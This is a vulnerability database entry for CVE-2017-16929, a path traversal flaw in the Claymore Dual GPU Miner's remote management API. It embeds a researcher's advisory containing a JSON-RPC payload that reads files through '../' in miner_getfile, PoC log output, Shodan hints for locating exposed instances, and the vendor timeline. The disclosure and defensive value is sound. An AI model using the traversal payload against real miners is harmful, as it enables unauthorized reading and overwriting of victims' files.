Vulnerabilities > CVE-2017-16929 - Path Traversal vulnerability in Claymore Dual Miner Project Claymore Dual Miner 10.1
Attack vector
NETWORK Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
NONE Summary
The remote management interface on the Claymore Dual GPU miner 10.1 is vulnerable to an authenticated directory traversal vulnerability exploited by issuing a specially crafted request, allowing a remote attacker to read/write arbitrary files. This can be exploited via ../ sequences in the pathname to miner_file or miner_getfile.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Relative Path Traversal An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
- Directory Traversal An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
- File System Function Injection, Content Based An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
- Using Slashes and URL Encoding Combined to Bypass Validation Logic This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
- Manipulating Input to File System Calls An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
Exploit-Db
description | Claymore Dual ETH + DCR/SC/LBC/PASC GPU Miner - Stack Buffer Overflow / Path Traversal. CVE-2017-16929,CVE-2017-16930. Remote exploit for Windows platform |
file | exploits/windows/remote/43231.py |
id | EDB-ID:43231 |
last seen | 2017-12-07 |
modified | 2017-12-07 |
platform | windows |
port | |
published | 2017-12-07 |
reporter | Exploit-DB |
source | https://www.exploit-db.com/download/43231/ |
title | Claymore Dual ETH + DCR/SC/LBC/PASC GPU Miner - Stack Buffer Overflow / Path Traversal |
type | remote |
Packetstorm
data source | https://packetstormsecurity.com/files/download/145215/claymoredualeth-overflow.txt |
id | PACKETSTORM:145215 |
last seen | 2017-12-06 |
published | 2017-12-05 |
reporter | tintinweb |
source | https://packetstormsecurity.com/files/145215/Claymores-Dual-Miner-10.1-Stack-Buffer-Overflow.html |
title | Claymore's Dual Miner 10.1 Stack Buffer Overflow |
Seebug
bulletinFamily | exploit |
description | VuNote =================== Author: <github.com/tintinweb> Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-16929 Version: 0.2 Date: Nov 30th, 2017 Tag: claymore dual ethereum decred crypto currency miner Overview -------- Name: Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner Vendor: nanopool/claymore References: * https://github.com/nanopool/Claymore-Dual-Miner * https://bitcointalk.org/index.php?topic=1433925.0 Version: 10.1 [2] Latest Version: 10.1 [2] Other Versions: <= 10.1 Platform(s): windows, linux Technology: C/C++ Vuln Classes: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Origin: remote Min. Privs.: authenticated Source: Closed; runtime protection mechanisms CVE: CVE-2017-16929 Description --------- A specialized mining solution with remote management interface for mining ethereum / decred / siacoin / LBRY Credits / pascal coin. quote website [1][2] - Supports new "dual mining" mode: mining both Ethereum and Decred/Siacoin/Lbry/Pascal at the same time, with no impact on Ethereum mining speed. Ethereum-only mining mode is supported as well. - Effective Ethereum mining speed is higher by 3-5% because of a completely different miner code - much less invalid and outdated shares, higher GPU load, optimized OpenCL code, optimized assembler kernels. - Supports both AMD and nVidia cards, even mixed. - No DAG files. - Supports all Stratum versions for Ethereum: can be used directly without any proxies with all pools that support eth-proxy, qtminer or miner-proxy. - Supports Ethereum and Siacoin solo mining. - Supports both HTTP and Stratum for Decred. - Supports both HTTP and Stratum for Siacoin. Note: not all Stratum versions are supported currently for Siacoin. - Supports Stratum for Lbry and Pascal. - Supports failover. - Displays detailed mining information and hashrate for every card. - Supports remote monitoring and management. - Supports GPU selection, built-in GPU overclocking features and temperature management. - Supports Ethereum forks (Expanse, etc). - Windows and Linux versions. Summary ------- > "FOMO driven security blindness." The remote management interface on the Claymore Dual GPU miner 10.1 is vulnerable to an authenticated relative directory traversal vulnerability exploited by issuing a specially crafted remote management request, allowing a remote attacker to read/write arbitrary files due to missing path validation/sanitation. * API calls * miner_getfile (read) ... read any file * miner_file (write) ... write any file conditions: * authenticated * write: *not* in readonly mode Successful exploitation would allow an authenticated user to read/write arbitrary files (process permissions) See attached PoC. Details ------- Service Discovery: * shodan: 'eth result' lists about 170-240 publicly available instances [3] with significant hash power * banner: ```html <html><body bgcolor="#000000" style="font-family: monospace;"> {"result": ["10.1 - ETH", "4286", "149336;7492;0", "30620;29877;28285;30605;29946", "0;0;0", "off;off;off;off;off", "62;65;51;64;61;75;51;67;62;72", "eth-us-east1.nanopool.org:9999", "0;1;0;0"]}<br><br><font color="#ff0000">Remote management: read-only mode, command miner_file ignored </font><br><font color="#00ff00">ETH: 11/22/17-15:28:38 - SHARE FOUND - (GPU 3) .... ``` Remote Management API overview: ```json # >nc -L -p 3333 {"id":0,"jsonrpc":"2.0","method":"miner_getstat1"} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["epools.txt","<encoded>"]} {"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]} {"id":0,"jsonrpc":"2.0","method":"miner_restart"} {"id":0,"jsonrpc":"2.0","method":"miner_reboot"} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "1"]} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["-1", "0"]} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "2"]} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","<encoded>"]} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["dpools.txt","<encoded>"]} ``` Directory Traversal: * `miner_file` and `miner_getfile` both commands do not seem to attempt to sanitize the provided path in any way allowing for relative path traversal. ```python # Vector: traversal # Description: path traversal # Result: retrieves any file "traversal": {"id":0, "jsonrpc":"2.0", "method":"miner_getfile", "params":["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt"]}, ##<<-- path travesal ``` //see PoC vector: traversal See attached PoC. Proof of Concept ---------------- Prerequisites: * compatible AMD/NVidia hardware 1. start miner in read/write mode with no passwort being set for testing ``` #> EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport 3333 ... ``` 2. run poc.py --vector=traversal <target> (we expect EthDcrMiner64.exe to be placed in a directory called `/Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0`) ```python [poc.py - <module>() ][ INFO] --start-- [poc.py - <module>() ][ INFO] # Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite [poc.py - <module>() ][ INFO] # github.com/tintinweb [poc.py - iter_targets() ][ WARNING] shodan apikey missing! shodan support disabled. [poc.py - <module>() ][ INFO] [i] Target: 127.0.0.1:3333 [poc.py - <module>() ][ INFO] [+] connected. [poc.py - <module>() ][ DEBUG] <-- 1048 '{"id": 0, "error": null, "result": ["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt", "<encoded file data>"]}' [poc.py - <module>() ][ INFO] --done-- ``` 3. EthDcrMiner returned the files content, as shown in the logs. ```python ... DCR: 11/22/17-22:56:06 - New job from pasc-eu2.nanopool.org:15555 Remote management: file ..\Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0\config.txt was uploaded DCR: 11/22/17-22:56:16 - New job from pasc-eu2.nanopool.org:15555 ... ``` Patch ----- n/A - closed source :/ Notes ----- * Timeline 11/22/2017 - vendor contact: report sent 11/23/2017 - vendor response: fixed version 10.2 ready and publicly available request for 7+ day embargo vendor statement: The root case is that remote management was designed to be used in local network only. But some "smart" people want to share ports to everyone and then catch problems. I will close the issues you found, but attacker will be able to do something bad anyway, at least execute ddos to prevent remote management work as expected. 12/04/2017 - public disclosure * Vendor Changelog Latest version is v10.2: - fixed critical issues in remote management feature (attacker could crash miner even in read-only mode). - now miner supports up to #299 epoch. - in rare cases ADL API calls can hang, now watchdog checks it as well. - improved "-minspeed" option, check readme for details. - added "miner_getstat2" command to remote management, check "API.txt" for details. - EthMan: added detailed stats mode in main window. - a few minor improvements in both miner and EthMan. * Runtime Protection ``` * Linux: packer / just compression * gdb * Windows: protector / anti-debug, vmprotect? * x64dbg: DbgUiRemoteBreakin <- RET ``` |
id | SSV:96932 |
last seen | 2017-12-25 |
modified | 2017-12-06 |
published | 2017-12-06 |
reporter | Root |
title | Claymore's Dual Ethereum Miner unauth stack buffer overflow(CVE-2017-16929) |